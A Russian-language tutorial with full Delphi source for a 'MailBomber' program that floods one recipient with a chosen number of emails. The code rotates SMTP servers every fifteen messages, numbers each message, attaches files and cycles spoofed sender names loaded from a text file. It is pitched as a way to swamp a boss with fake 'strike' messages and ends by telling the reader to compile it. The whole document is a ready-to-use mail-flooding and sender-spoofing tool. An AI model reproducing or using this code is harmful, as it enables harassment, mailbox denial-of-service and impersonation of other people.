Привет! Это снова я, и сегодня я вам
расскажу, как можно сделать так, чтобы MailBomber
мог аттачить файлы, а также как сделать так,
чтобы он мог перебирать “Имя Отправителя”
из txt файла, который ты выберешь. Это сделано
для того, чтобы ты мог устроить что-то вроде
массовой забастовки (особенно это
действует на совковых чиновников). Отправь
начальнику столько сообщений с текстом “Повысь
зарплату, а то завтра не выйдем”, сколько
работников, а в файл txt введи их е-мыла и
имена ;)) и все.
Вот собственно весь текст со всеми
комментариями:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Psock, NMsmtp, OleCtrls, SHDocVw, NMUUE,FileCtrl,WinInet;
type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
Edit1: TEdit; // адрес получателя
Memo1: TMemo;// тело сообщения
Button1: TButton;//пуск 😉
Edit5: TEdit;// количество писем
Edit6: TEdit;//заголовок письма
Edit7: TEdit;//прога-отправитель
OpenDialog1: TOpenDialog;//диалог выбора аттача
NMUUProcessor1: TNMUUProcessor;
Edit8: TEdit;//UserID
Button5: TButton;//Выход
//подписи к полям
Label4: TLabel;
Label5: TLabel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
Label11: TLabel;
GroupBox1: TGroupBox;
Edit3: TEdit;//Добавочный текст
CheckBox2: TCheckBox;// переключатель типа “добавлять
добавочный текст?”
GroupBox2: TGroupBox;
ComboBox1: TComboBox;//почтовые сервера
Button2: TButton;//кнопка добавления stmp сервера
Button3: TButton;//удаление stmp сервера
GroupBox3: TGroupBox;
Button4: TButton;//кнопка выбора аттача
Edit2: TEdit;//показыват путь выбранного аттача
CheckBox1: TCheckBox;//переключатель типа “есть
аттач?”
GroupBox4: TGroupBox;
RadioButton1: TRadioButton; //переключатель в положение
“из списка”
RadioButton2: TRadioButton; переключатель в положение “статический”
Button6: TButton;// кнопка выбора txt файла с именами
и е-мылами
OpenDialog2: TOpenDialog;//диалог выбора txt файла с
именами и е-мылами
Memo2: TMemo;//Имя отправителя
Label3: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button5Click(Sender: TObject);
procedure CheckBox2Click(Sender: TObject);
procedure RadioButton1Click(Sender: TObject);
procedure RadioButton2Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
kolvo,n,x,serv,i: integer;
attach: TStringList;
implementation
{$R *.DFM}
procedure TForm1.button1Click(Sender: TObject);
var IsConnect: Boolean;
Flags: DWORD;
//label m1;
begin
//проверяем подключение к Инету
IsConnect := InternetGetConnectedState(@Flags, 0);
//если нет
If not IsConnect then begin
ShowMessage('Соединение с Интернетом отсутствует!');
//выходим из процедуры
Exit;
end;
//проверяем заполнение всех полей
if (Edit1.text='') or ((Edit3.Enabled=true and (Edit3.text='')))or
(ComboBox1.items[0]='') or (Edit5.text='') or (Edit6.text='') or (Edit7.text='')
or (Edit8.text='')or
(Memo2.Lines[0]='') or (Memo2.text='') then
begin
ShowMessage('Не все поля заполнены!');
Exit;
end;
//выключаем кнопку
button1.enabled:=false;
//Обнуляем
kolvo:=0;
serv:=0;
n:=0;
x:=0;
//определяем порт и ID
NMSMTP1.Port:= 25;
NMSMTP1.UserID:=Edit8.text;
while kolvo<>(StrToInt(Edit5.text)) do
begin
//запуск счетчика
kolvo:= kolvo+1;
n:=n+1;
//если 15-ое
if (n=15) then
//если номер установленного сервера <количества
строк в ComboBox1
if (serv<ComboBox1.Items.Count)then
begin
//следующий сервер и обнуляем счетчик
NMSMTP1.Host:= ComboBox1.Items[serv+1];
n:=0;
end
//иначе
else
begin
//в исходную позицию
serv:=0;
NMSMTP1.Host:= ComboBox1.Items[serv];
end;
//оставляем в покое
if n<>15 then NMSMTP1.Host:= ComboBox1.Items[serv];
//проверяем подключение
if NMSMTP1.Connected=false then NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress:= Edit1.text;
//если имя отправителя статическое
if RadioButton1.Checked then NMSMTP1.PostMessage.FromName:= Memo2.Text;
//если динамическое
if RadioButton2.Checked then begin
if x<=Memo2.Lines.Count then begin
NMSMTP1.PostMessage.FromName:=Memo2.lines[X];
x:=x+1;
end else x:=0;
end;
NMSMTP1.PostMessage.ToAddress.Add(Edit1.text);
//Очищаем тело
NMSMTP1.PostMessage.Body.Clear;
//если добавочный текст включен,
if CheckBox2.Checked then
begin
i:=Memo1.Lines.IndexOF(Edit3.text+'#'+(intTostr(kolvo-1)));
if i=-1 then Memo1.Lines.Add(Edit3.text+'#'+(intTostr(kolvo)))
else begin
Memo1.Lines.Delete(i);
Memo1.Lines.Insert(i,Edit3.text+'#'+(intTostr(kolvo)));
end;
end;//Формируем тело
NMSMTP1.PostMessage.Body.AddStrings(Memo1.Lines);
//тема
NMSMTP1.PostMessage.Subject:= Edit6.text+' '+'#'+IntToStr(kolvo);
//прога
NMSMTP1.PostMessage.LocalProgram:= Edit7.text;
//если есть аттач-аттачим
if CheckBox1.Checked=true then NMSMTP1.PostMessage.Attachments:=attach;
//посылаем
NMSMTP1.SendMail;
//если все отправили
if kolvo=StrToInt(Edit5.text) then
begin
ShowMessage('Отправленно сообщений: '+ Edit5.text);
button1.enabled:=true;
NMSMTP1.Disconnect;
end;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
//добавляем smtp сервер
ComboBox1.Items.Add(ComboBox1.text);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
//удаляем smtp сервер
ComboBox1.Items.Delete(ComboBox1.ItemIndex);
end;
procedure TForm1.Button4Click(Sender: TObject);
var
InStream, OutStream: TFileStream;
Begin
//заголовок диалого
OpenDialog1.title:='Выбор файла для присоединения';
//фильтр
OpenDialog1.Filter:='Все файлы (*.*)|*.*|';
if OpenDialog1.execute then
begin
//Выводим путь
Edit2.text:=openDialog1.FileName;
Attach:=Tstringlist.create;
Attach.Addobject(' '+ExtractFileName(openDialog1.FileName),TObject(1));
//Исходный файл
InStream:=TFileStream.Create(openDialog1.FileName,fmOpenRead);
//Закодированный файл (в имя добавляем 1
пробел, чтобы не перезаписывать исходник)
OutStream:=TFileStream.Create(' '+ExtractFileName(openDialog1.FileName),fmCreate);
//метод(можно или UUEncode или uuMime)
NMUUProcessor1.Method:=uuCode;
NMUUProcessor1.InputStream:=InStream;
NMUUProcessor1.OutputStream:=OutStream;
//выполнить кодирование
NmUUProcessor1.Encode;
//освобождаем память
InStream.Free;
OutStream.Free;
end;
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
//Если есть "флажок" тогда активизируем
кнопку, иначе-кнопка неактивна
if CheckBox1.Checked=true then button4.enabled:=true else button4.enabled:=false;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
//Если закодированный файл существует->
удаляем
if FileExists(' '+ExtractFileName(openDialog1.FileName))then DeleteFile(' '+ExtractFileName(openDialog1.FileName));
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
//выходим
Application.Terminate;
end;
procedure TForm1.CheckBox2Click(Sender: TObject);
begin
//если есть флаг
If CheckBox2.Checked=true then
begin
//активизируем поле
Edit3.Enabled:=true;
//изменяем цвет
GroupBox1.ParentColor:=true;
Edit3.Color:= clCaptionText;
end;
//если нет флага
else
begin
//диактивизируем поле
Edit3.Enabled:=false;
//изменяем цвет
GroupBox1.ParentColor:=false;
Edit3.Color:= clBtnFace;
end;
end;
procedure TForm1.RadioButton1Click(Sender: TObject);
begin
//Включаем кнопку
If RadioButton1.Checked then Button6.Enabled:=false;
end;
procedure TForm1.RadioButton2Click(Sender: TObject);
begin
//Выключаем кнопку
If RadioButton2.Checked then Button6.Enabled:=true;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
//открываем окно выбора файла
OpenDialog2.Filter:='Файлы текста(*.TXT)|*.TXT';
OpenDialog2.Title:='Выберете файл:';
OpenDialog2.FilterIndex := 2;
//в Мемо2 заносим выбранный файл
if OpenDialog2.Execute then Memo2.lines.LoadFromFile(OpenDialog2.FileName);
end;
end.
Вуаля! Осталось только скомпилировать
файл.
Исходники: SourceNew.zip